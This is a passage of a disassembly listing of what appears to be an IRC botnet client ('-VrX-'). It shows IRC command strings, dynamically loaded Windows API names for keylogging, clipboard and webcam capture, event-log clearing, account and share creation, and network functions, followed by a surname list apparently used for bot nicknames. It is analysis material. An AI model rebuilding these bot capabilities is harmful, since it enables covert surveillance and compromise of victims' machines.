unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
